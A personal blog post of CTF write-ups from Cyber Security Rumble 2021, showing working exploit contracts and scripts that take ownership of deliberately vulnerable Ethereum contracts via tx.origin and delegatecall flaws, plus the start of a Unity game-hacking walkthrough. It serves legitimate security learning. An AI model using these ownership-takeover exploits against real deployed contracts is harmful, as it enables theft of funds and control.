Jekyll2021-12-01T12:17:53+01:00/feed.xmlMartin WagnerPersonal blog about computers, security and ... stuffMartin WagnerCyber Security Rumble 2021 Writeups2021-11-30T00:00:00+01:002021-11-30T00:00:00+01:00/rumble<p>After enjoying last year’s <a href="https://cybersecurityrumble.de/">Cyber Security Rumble CTF</a> I rejoined the competition this year together with some friends from <a href="https://kitctf.de/">KITCTF</a>.
I had a lot of fun and I plan to participate again next year.
These are a few of the challenges I solved during the weekend.</p>
<h2 id="unknownorigin">UnknownOrigin</h2>
<p>The first of three Ethereum smart contract challenges of the CTF.</p>
<p>All the challenges are deployed on a private Ethereum chain that we can connect to using <a href="https://metamask.io/">metamask</a> and the provided RPC url.
We also get 10 ETH on this chain, so we can pay for transactions.</p>
<p>This was the code for the first smart contract:</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">UnknownOrigin</span> <span class="p">{</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">owner</span><span class="p">;</span>
<span class="k">constructor</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">msg</span><span class="p">.</span><span class="n">sender</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">modifier</span> <span class="n">onlyOwned</span> <span class="p">()</span> <span class="p">{</span>
<span class="nb">require</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">sender</span> <span class="o">!=</span> <span class="n">tx</span><span class="p">.</span><span class="n">origin</span><span class="p">);</span>
<span class="n">_</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">updateOwner</span> <span class="p">(</span><span class="kt">address</span> <span class="n">_newOwner</span><span class="p">)</span> <span class="k">public</span> <span class="n">onlyOwned</span> <span class="p">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">_newOwner</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We have to set the <code class="language-plaintext highlighter-rouge">owner</code> variable of this contract to our address to solve the challenge.
To achieve this, we have to call the <code class="language-plaintext highlighter-rouge">updateOwner(address)</code> function with our own address as parameter.
The call will only succeed if <code class="language-plaintext highlighter-rouge">msg.sender != tx.oring</code>.</p>
<p>According to <a href="https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin/1892#1892">this</a> Stackexchange answer, this condition is met if a call is coming from another smart contract instead of a transaction.</p>
<p>With this knowledge, I fired up <a href="https://remix.ethereum.org/">remix</a> and wrote the following attack contract.</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">import</span> <span class="s">"./UnknownOrigin.sol"</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">Attack</span> <span class="p">{</span>
<span class="n">UnknownOrigin</span> <span class="k">public</span> <span class="n">uo</span><span class="p">;</span>
<span class="k">constructor</span><span class="p">(</span><span class="kt">address</span> <span class="n">v</span><span class="p">)</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">uo</span> <span class="o">=</span> <span class="n">UnknownOrigin</span><span class="p">(</span><span class="n">v</span><span class="p">);</span>
<span class="n">uo</span><span class="p">.</span><span class="n">updateOwner</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">sender</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To deploy it, I configured remix to use metamask to reach the CTF chain by selecting the “Injected Web3” environment.</p>
<p>If the attack contract is called with the address of <code class="language-plaintext highlighter-rouge">UnkownOrigin</code> as parameter, it will automatically call <code class="language-plaintext highlighter-rouge">updateOwner</code> with our address.</p>
<h2 id="unaffordable">Unaffordable</h2>
<p>The second Ethereum challenge, same setup, new contract:</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">Unaffordable</span> <span class="p">{</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">owner</span><span class="p">;</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">adminContract</span><span class="p">;</span>
<span class="kt">address</span><span class="p">[]</span> <span class="k">public</span> <span class="n">ownerHistory</span><span class="p">;</span>
<span class="k">constructor</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">msg</span><span class="p">.</span><span class="n">sender</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">modifier</span> <span class="n">onlyOwner</span> <span class="p">()</span> <span class="p">{</span>
<span class="nb">require</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">sender</span> <span class="o">==</span> <span class="n">owner</span><span class="p">);</span>
<span class="n">_</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">updateAdminContract</span> <span class="p">(</span><span class="kt">address</span> <span class="n">_admin</span><span class="p">)</span> <span class="k">public</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">uint</span><span class="p">){</span>
<span class="kt">uint</span> <span class="n">size</span><span class="p">;</span>
<span class="k">assembly</span> <span class="p">{</span> <span class="n">size</span><span class="o">:=</span> <span class="n">extcodesize</span><span class="p">(</span><span class="n">_admin</span><span class="p">)</span> <span class="p">}</span>
<span class="nb">require</span><span class="p">(</span><span class="n">size</span> <span class="o">></span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">size</span> <span class="o"><</span> <span class="mi">42</span><span class="p">);</span>
<span class="n">adminContract</span> <span class="o">=</span> <span class="n">_admin</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">remoteAdmin</span> <span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">adminContract</span><span class="p">.</span><span class="nb">delegatecall</span><span class="p">(</span><span class="n">abi</span><span class="p">.</span><span class="n">encodePacked</span><span class="p">(</span><span class="kt">bytes4</span><span class="p">(</span><span class="nb">keccak256</span><span class="p">(</span><span class="s">"adminFn()"</span><span class="p">))));</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">updateOwnership</span> <span class="p">(</span><span class="kt">address</span> <span class="n">_newOwner</span><span class="p">)</span> <span class="k">private</span> <span class="p">{</span>
<span class="n">ownerHistory</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">owner</span><span class="p">);</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">_newOwner</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">transferOwnership</span> <span class="p">(</span><span class="kt">address</span> <span class="n">_newOwner</span><span class="p">)</span> <span class="k">public</span> <span class="n">onlyOwner</span> <span class="p">{</span>
<span class="n">updateOwnership</span><span class="p">(</span><span class="n">_newOwner</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">buyout</span> <span class="p">()</span> <span class="k">public</span> <span class="k">payable</span> <span class="p">{</span>
<span class="nb">require</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">value</span> <span class="o">></span> <span class="mi">1000000</span> <span class="kc">ether</span><span class="p">);</span>
<span class="n">updateOwnership</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">sender</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This contract allows us to</p>
<ul>
<li>Become the owner of the contract by paying 1000000 ether</li>
<li>Set an admin contract that has to be between 1 and 42 bytes large</li>
<li>Execute a <code class="language-plaintext highlighter-rouge">delegatecall</code> to the admin contract</li>
</ul>
<p>The first option is easy to understand, but hard to execute. We don’t have 100000 ether.
The second option is also quite easy to understand. The <code class="language-plaintext highlighter-rouge">extcodesize</code> of contracts is <code class="language-plaintext highlighter-rouge">0</code> while their constructor still runs, I assume this is why we are given a lower bound.</p>
<p>The only weird option is the last one.
A <a href="https://solidity-by-example.org/delegatecall/"><code class="language-plaintext highlighter-rouge">delegatecall</code></a> calls a function on another contract but in the context of the current contract.
This means the other contract has access to the callers memory and storage.</p>
<p>If we can register our own admin contract that is less than 42 bytes large but can modify the <code class="language-plaintext highlighter-rouge">owner</code> variable, we should be able to take over this contract.</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">UnaffordableAttackAdmin</span> <span class="p">{</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">owner</span><span class="p">;</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">adminContract</span><span class="p">;</span>
<span class="kt">address</span><span class="p">[]</span> <span class="k">public</span> <span class="n">ownerHistory</span><span class="p">;</span>
<span class="k">function</span> <span class="n">adminFn</span> <span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">tx</span><span class="p">.</span><span class="n">origin</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This would do the job, but sadly these few lines of solidity compile to a few hundred bytes of EVM opcodes. Way too much for the challenge.</p>
<p>The solidity compiler can output readable ASM instructions, so what I did was to remove all the “unnecessary” instructions to create a contract that does nothing else than setting the storage slot used for the <code class="language-plaintext highlighter-rouge">owner</code> variable to <code class="language-plaintext highlighter-rouge">tx.origin</code>.</p>
<pre><code class="language-asm">/* constructor */
mstore(0x40, 0x80)
callvalue
dup1
iszero
tag_1
jumpi
0x00
dup1
revert
tag_1:
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x00
codecopy
0x00
return
stop
/* deployed code */
sub_0: assembly {
0x00
dup1
sload
0x01
0x01
0xa0
shl
sub
not
and
origin
or
swap1
sstore
stop
}
</code></pre>
<p>A few things that were useful for this exercise:</p>
<ul>
<li>Without <code class="language-plaintext highlighter-rouge">solc --optimize</code> even just the code to write the storage was too large</li>
<li>Solidity generates one big “main” function that reads the first argument of the contract call and interprets it as method name. We can remove all that code and directly run our method at the beginning of the contract since we only have a single method</li>
<li>Sadly <code class="language-plaintext highlighter-rouge">solc</code> doesn’t seem to support assembling standalone ASM contracts but <a href="https://github.com/RafaelSalguero/evm-assembler">this tool</a> does.</li>
</ul>
<p>To deploy the compiled contract code, I wrote the following node.js script:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">Web3</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">web3</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">Tx</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">@ethereumjs/tx</span><span class="dl">'</span><span class="p">).</span><span class="nx">Transaction</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">web3</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Web3</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://ethereum.rumble.host:8545</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">key</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="dl">'</span><span class="s1">my_private_key</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">account</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0x5E9906F9254cF18eb3f249c1D24a6f5e82cfD7f6</span><span class="dl">'</span>
<span class="c1">// output of evm-assembler</span>
<span class="kd">const</span> <span class="nx">bytecode</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0x6080604052348015600f57600080fd5b50601380601d6000396000f300600080546001600160a01b0319163217905500</span><span class="dl">'</span>
<span class="kd">const</span> <span class="nx">gasPrice</span> <span class="o">=</span> <span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">gasPrice</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">gasPriceHex</span> <span class="o">=</span> <span class="nx">web3</span><span class="p">.</span><span class="nx">utils</span><span class="p">.</span><span class="nx">toHex</span><span class="p">(</span><span class="nx">gasPrice</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">gasLimitHex</span> <span class="o">=</span> <span class="nx">web3</span><span class="p">.</span><span class="nx">utils</span><span class="p">.</span><span class="nx">toHex</span><span class="p">(</span><span class="mi">3000000</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">tra</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">gasPrice</span><span class="p">:</span> <span class="nx">gasPriceHex</span><span class="p">,</span>
<span class="na">gasLimit</span><span class="p">:</span> <span class="nx">gasLimitHex</span><span class="p">,</span>
<span class="na">data</span><span class="p">:</span> <span class="nx">bytecode</span><span class="p">,</span>
<span class="na">from</span><span class="p">:</span> <span class="nx">account</span><span class="p">,</span>
<span class="na">nonce</span><span class="p">:</span> <span class="mi">30</span>
<span class="p">}</span>
<span class="kd">const</span> <span class="nx">tx</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Tx</span><span class="p">(</span><span class="nx">tra</span><span class="p">)</span>
<span class="nx">web3</span><span class="p">.</span><span class="nx">eth</span><span class="p">.</span><span class="nx">sendSignedTransaction</span><span class="p">(</span><span class="dl">'</span><span class="s1">0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">tx</span><span class="p">.</span><span class="nx">sign</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="nx">serialize</span><span class="p">().</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">hex</span><span class="dl">'</span><span class="p">),</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">hash</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">hash</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>
<p>With the admin contract in place, I only needed another small contract to execute the actual attack:</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">import</span> <span class="s">"./Unaffordable.sol"</span><span class="p">;</span>
<span class="k">import</span> <span class="s">"./UnaffordableAttackAdmin.sol"</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">UnaffordableAttack</span> <span class="p">{</span>
<span class="n">Unaffordable</span> <span class="k">public</span> <span class="n">uo</span><span class="p">;</span>
<span class="kt">uint</span> <span class="k">public</span> <span class="n">size</span><span class="p">;</span>
<span class="k">constructor</span><span class="p">(</span><span class="n">Unaffordable</span> <span class="n">attack</span><span class="p">)</span> <span class="k">public</span> <span class="p">{</span>
<span class="n">uo</span> <span class="o">=</span> <span class="n">attack</span><span class="p">;</span>
<span class="c1">// Address of hour handmade admin contract
</span> <span class="kt">address</span> <span class="n">admin</span> <span class="o">=</span> <span class="mh">0xCeb167b36635013ABC369A83E6A5685641A491Cb</span><span class="p">;</span>
<span class="c1">// Used as info during development
</span> <span class="kt">uint</span> <span class="n">s</span><span class="p">;</span>
<span class="k">assembly</span> <span class="p">{</span> <span class="n">s</span><span class="o">:=</span> <span class="n">extcodesize</span><span class="p">(</span><span class="n">admin</span><span class="p">)</span> <span class="p">}</span>
<span class="n">size</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span>
<span class="c1">// Start the attack
</span> <span class="n">uo</span><span class="p">.</span><span class="n">updateAdminContract</span><span class="p">(</span><span class="n">admin</span><span class="p">);</span>
<span class="c1">// Trigger the deligatecall
</span> <span class="n">uo</span><span class="p">.</span><span class="n">remoteAdmin</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Since there are no special requirements for this contract, I wrote & deployed it simply using <a href="https://remix.ethereum.org/">remix</a>.</p>
<h2 id="followtheleader">FollowTheLeader</h2>
<p>The last smart contract challenge. We get no source code this time, only an address.</p>
<p>I used the block explorer provided by the organizers to dump the contract byte code and passed it to two different decompilers: <a href="https://ethervm.io/decompile">ethervm.io</a> and <a href="https://github.com/palkeo/panoramix">panoramix</a>.
The second one generated pretty readable code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Palkeoramix decompiler.
</span>
<span class="k">def</span> <span class="nf">storage</span><span class="p">:</span>
<span class="n">highScore</span> <span class="ow">is</span> <span class="n">uint256</span> <span class="n">at</span> <span class="n">storage</span> <span class="mi">0</span>
<span class="n">leaderAddress</span> <span class="ow">is</span> <span class="n">addr</span> <span class="n">at</span> <span class="n">storage</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">highScore</span><span class="p">():</span> <span class="c1"># not payable
</span> <span class="k">return</span> <span class="n">highScore</span>
<span class="k">def</span> <span class="nf">leader</span><span class="p">():</span> <span class="c1"># not payable
</span> <span class="k">return</span> <span class="n">leaderAddress</span>
<span class="c1">#
# Regular functions
#
</span>
<span class="k">def</span> <span class="nf">_fallback</span><span class="p">()</span> <span class="n">payable</span><span class="p">:</span> <span class="c1"># default function
</span> <span class="n">revert</span>
<span class="k">def</span> <span class="nf">claim</span><span class="p">():</span> <span class="c1"># not payable
</span> <span class="n">require</span> <span class="n">caller</span> <span class="o">==</span> <span class="n">leaderAddress</span>
<span class="n">call</span> <span class="n">caller</span> <span class="k">with</span><span class="p">:</span>
<span class="n">value</span> <span class="n">eth</span><span class="p">.</span><span class="n">balance</span><span class="p">(</span><span class="n">this</span><span class="p">.</span><span class="n">address</span><span class="p">)</span> <span class="n">wei</span>
<span class="n">gas</span> <span class="mi">2300</span> <span class="o">*</span> <span class="n">is_zero</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> <span class="n">wei</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">ext_call</span><span class="p">.</span><span class="n">success</span><span class="p">:</span>
<span class="n">revert</span> <span class="k">with</span> <span class="n">ext_call</span><span class="p">.</span><span class="n">return_data</span><span class="p">[</span><span class="mi">0</span> <span class="nb">len</span> <span class="n">return_data</span><span class="p">.</span><span class="n">size</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">submit</span><span class="p">(</span><span class="n">uint256</span> <span class="n">score</span><span class="p">)</span> <span class="n">payable</span><span class="p">:</span>
<span class="n">require</span> <span class="n">calldata</span><span class="p">.</span><span class="n">size</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">>=</span> <span class="mi">32</span>
<span class="n">require</span> <span class="n">ext_code</span><span class="p">.</span><span class="n">size</span><span class="p">(</span><span class="mh">0x24929d6336819282901da57a89ba7b5841fe91f0</span><span class="p">)</span>
<span class="n">static</span> <span class="n">call</span> <span class="mh">0x24929d6336819282901da57a89ba7b5841fe91f0</span><span class="p">.</span><span class="mh">0x4250ac74</span> <span class="k">with</span><span class="p">:</span>
<span class="n">gas</span> <span class="n">gas_remaining</span> <span class="n">wei</span>
<span class="n">args</span> <span class="n">call</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">score</span><span class="p">,</span> <span class="n">highScore</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">ext_call</span><span class="p">.</span><span class="n">success</span><span class="p">:</span>
<span class="n">revert</span> <span class="k">with</span> <span class="n">ext_call</span><span class="p">.</span><span class="n">return_data</span><span class="p">[</span><span class="mi">0</span> <span class="nb">len</span> <span class="n">return_data</span><span class="p">.</span><span class="n">size</span><span class="p">]</span>
<span class="n">require</span> <span class="n">return_data</span><span class="p">.</span><span class="n">size</span> <span class="o">>=</span> <span class="mi">32</span>
<span class="k">if</span> <span class="n">ext_call</span><span class="p">.</span><span class="n">return_data</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
<span class="n">leaderAddress</span> <span class="o">=</span> <span class="n">caller</span>
<span class="n">highScore</span> <span class="o">=</span> <span class="n">score</span>
</code></pre></div></div>
<p>There exists a <code class="language-plaintext highlighter-rouge">submit(score)</code> function that we can call and that seems to call a function <code class="language-plaintext highlighter-rouge">0x4250ac74</code> on another contract. If this second call succeeds, we win and the <code class="language-plaintext highlighter-rouge">highScore</code> variable gets updated.</p>
<p>I also dumped the second contract using the block explorer and decompiled it:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Palkeoramix decompiler.
</span>
<span class="k">def</span> <span class="nf">_fallback</span><span class="p">()</span> <span class="n">payable</span><span class="p">:</span> <span class="c1"># default function
</span> <span class="n">revert</span>
<span class="k">def</span> <span class="nf">unknown4250ac74</span><span class="p">(</span><span class="n">uint256</span> <span class="n">call_value</span><span class="p">,</span> <span class="n">uint256</span> <span class="n">score</span><span class="p">,</span> <span class="n">uint256</span> <span class="n">highScore</span><span class="p">)</span> <span class="n">payable</span><span class="p">:</span>
<span class="n">require</span> <span class="n">calldata</span><span class="p">.</span><span class="n">size</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">>=</span> <span class="mi">96</span>
<span class="k">if</span> <span class="n">score</span> <span class="o"><=</span> <span class="n">highScore</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span> <span class="c1">#(score > highScore)
</span> <span class="k">if</span> <span class="n">score</span> <span class="o">>=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">highScore</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span> <span class="c1">#(score < 2 * highScore)
</span> <span class="k">return</span> <span class="p">(</span><span class="mi">1337</span> <span class="o">*</span> <span class="mi">10</span><span class="o">^</span><span class="mi">9</span> <span class="o">*</span> <span class="n">score</span> <span class="o">==</span> <span class="n">call_value</span><span class="p">)</span>
</code></pre></div></div>
<p>The function accepts three parameters (that I already renamed in this snippet) and does some basic checks with them. We can easily reverse these steps to know which values we have to use.</p>
<p>I wrote a simple stub contract, so I could interact with the real one using remix:</p>
<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: MIT
</span><span class="k">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.6</span><span class="p">.</span><span class="mi">0</span><span class="p">;</span>
<span class="k">contract</span> <span class="n">FollowTheLeaderStub</span> <span class="p">{</span>
<span class="kt">address</span> <span class="k">public</span> <span class="n">leader</span><span class="p">;</span>
<span class="kt">uint256</span> <span class="k">public</span> <span class="n">highScore</span><span class="p">;</span>
<span class="k">function</span> <span class="n">submit</span> <span class="p">(</span><span class="kt">uint256</span> <span class="n">score</span><span class="p">)</span> <span class="k">public</span> <span class="k">payable</span> <span class="p">{}</span>
<span class="k">function</span> <span class="n">claim</span> <span class="p">()</span> <span class="k">public</span> <span class="k">payable</span> <span class="p">{}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The current high score during the CTF was 9000, so I submitted a transaction with a score of 10000 and <code class="language-plaintext highlighter-rouge">1337 * 10^9 * 10000</code> wei or <code class="language-plaintext highlighter-rouge">0.01337</code> ether as transaction amount.</p>
<h2 id="csrunner">CSRunner</h2>
<p>A game challenge where we have to collect every flag char while avoiding any obstacles. As soon as we hit a single red enemy, it’s game over, and we have to start again.</p>
<p><img src="/imgs/csrunner.jpg" alt="csrunner" /></p>
<p>After extracting the challenge files, we find a file called <code class="language-plaintext highlighter-rouge">UnityPlayer.dll</code>, hinting that the game could be using the unity game engine.
I have already solved some Unity game challenges in the past, which is why I quickly spotted the
<code class="language-plaintext highlighter-rouge">./csrunner_Data/il2cpp_data</code> directory and realized that the game’s code was compiled using <a href="https://docs.unity3d.com/Manual/IL2CPP.html">IL2CPP</a>, an IL bytecode to C++ compiler offered by Unity.</p>
<p>For us this means that we won’t find any easily reversible C# bytecode in the binary, but we should be able to dump the class names, attributes and methods that existed in the original code.
The <a href="https://github.com/Perfare/Il2CppDumper">IL2CppDumper Project</a> provides an easy way to do this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Il2CppDumper.exe GameAssembly.dll global-metadata.dat out/
</code></pre></div></div>
<p>This generates the <code class="language-plaintext highlighter-rouge">dump.cs</code> file, which contains the layout of all classes used in the game’s code.
After some looking around, I found the following class:</p>
<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Namespace: </span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Spawner</span> <span class="p">:</span> <span class="n">MonoBehaviour</span> <span class="c1">// TypeDefIndex: 3153</span>
<span class="p">{</span>
<span class="c1">// Fields</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">xrange</span><span class="p">;</span> <span class="c1">// 0x18</span>
<span class="k">public</span> <span class="n">GameObject</span> <span class="n">enemyPrefab</span><span class="p">;</span> <span class="c1">// 0x20</span>
<span class="k">public</span> <span class="n">GameObject</span> <span class="n">pickupPrefab</span><span class="p">;</span> <span class="c1">// 0x28</span>
<span class="k">public</span> <span class="kt">bool</span> <span class="n">spawnEnemies</span><span class="p">;</span> <span class="c1">// 0x30</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">minSpawnTime</span><span class="p">;</span> <span class="c1">// 0x34</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">maxSpawnTime</span><span class="p">;</span> <span class="c1">// 0x38</span>
<span class="k">public</span> <span class="kt">int</span> <span class="n">minSpawnCount</span><span class="p">;</span> <span class="c1">// 0x3C</span>
<span class="k">public</span> <span class="kt">int</span> <span class="n">maxSpawnCount</span><span class="p">;</span> <span class="c1">// 0x40</span>
<span class="k">private</span> <span class="kt">float</span> <span class="n">nextSpawnTime</span><span class="p">;</span> <span class="c1">// 0x44</span>
<span class="k">private</span> <span class="kt">float</span> <span class="n">lastDropStep</span><span class="p">;</span> <span class="c1">// 0x48</span>
<span class="c1">// Properties</span>
<span class="k">public</span> <span class="kt">float</span> <span class="n">SpawnDelay</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="p">}</span>
<span class="c1">// Methods</span>
<span class="c1">// RVA: 0x6EA9B0 Offset: 0x6E95B0 VA: 0x1806EA9B0</span>
<span class="k">public</span> <span class="kt">float</span> <span class="nf">get_SpawnDelay</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="c1">// RVA: 0x6EA540 Offset: 0x6E9140 VA: 0x1806EA540</span>
<span class="k">private</span> <span class="k">void</span> <span class="nf">Update</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="c1">// RVA: 0x2E80E0 Offset: 0x2E6CE0 VA: 0x1802E80E0</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">ResetDrops</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="c1">// RVA: 0x6EA2C0 Offset: 0x6E8EC0 VA: 0x1806EA2C0</span>
<span class="k">private</span> <span class="n">GameObject</span> <span class="nf">SpawnPrefab</span><span class="p">(</span><span class="n">GameObject</span> <span class="n">prefab</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">canHome</span><span class="p">)</span> <span class="p">{</span> <span class="p">}</span>
<span class="c1">// RVA: 0x6EA980 Offset: 0x6E9580 VA: 0x1806EA980</span>
<span class="k">public</span> <span class="k">void</span> <span class="p">.</span><span class="nf">ctor</span><span class="p">()</span> <span class="p">{</span> <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">spawnEnemies</code> attribute seemed interesting, and I wanted to try to modify it.
To easily debug and modify the game, I used <a href="https://frida.re/">Frida</a>, a tool that allows us to hook and modify programs at runtime using custom JavaScript code.</p>
<p>To overwrite <code class="language-plaintext highlighter-rouge">spawnEnemies</code> I have to know its address. I tried hooking one of the methods of the <code class="language-plaintext highlighter-rouge">Spawner</code> class to find the address of the object, but this didn’t work somehow.</p>
<p>At this point I had another look at the dumped classes and found the main <code class="language-plaintext highlighter-rouge">Game</code> class that holds
a reference to our <code class="language-plaintext highlighter-rouge">Spawner</code> object:</p>
<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Namespace: </span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Game</span> <span class="p">:</span> <span class="n">MonoBehaviour</span> <span class="c1">// TypeDefIndex: 3145</span>
<span class="p">{</span>
<span class="c1">// ..</span>
<span class="k">public</span> <span class="n">Spawner</span> <span class="n">spawner</span><span class="p">;</span> <span class="c1">// 0x68</span>
<span class="c1">// ...</span>
<span class="c1">// RVA: 0x6E7000 Offset: 0x6E5C00 VA: 0x1806E7000</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">GameOver</span><span class="p">(</span><span class="kt">string</span> <span class="n">reason</span><span class="p">)</span> <span class="p">{</span> <span class="p">}</span>
<span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>
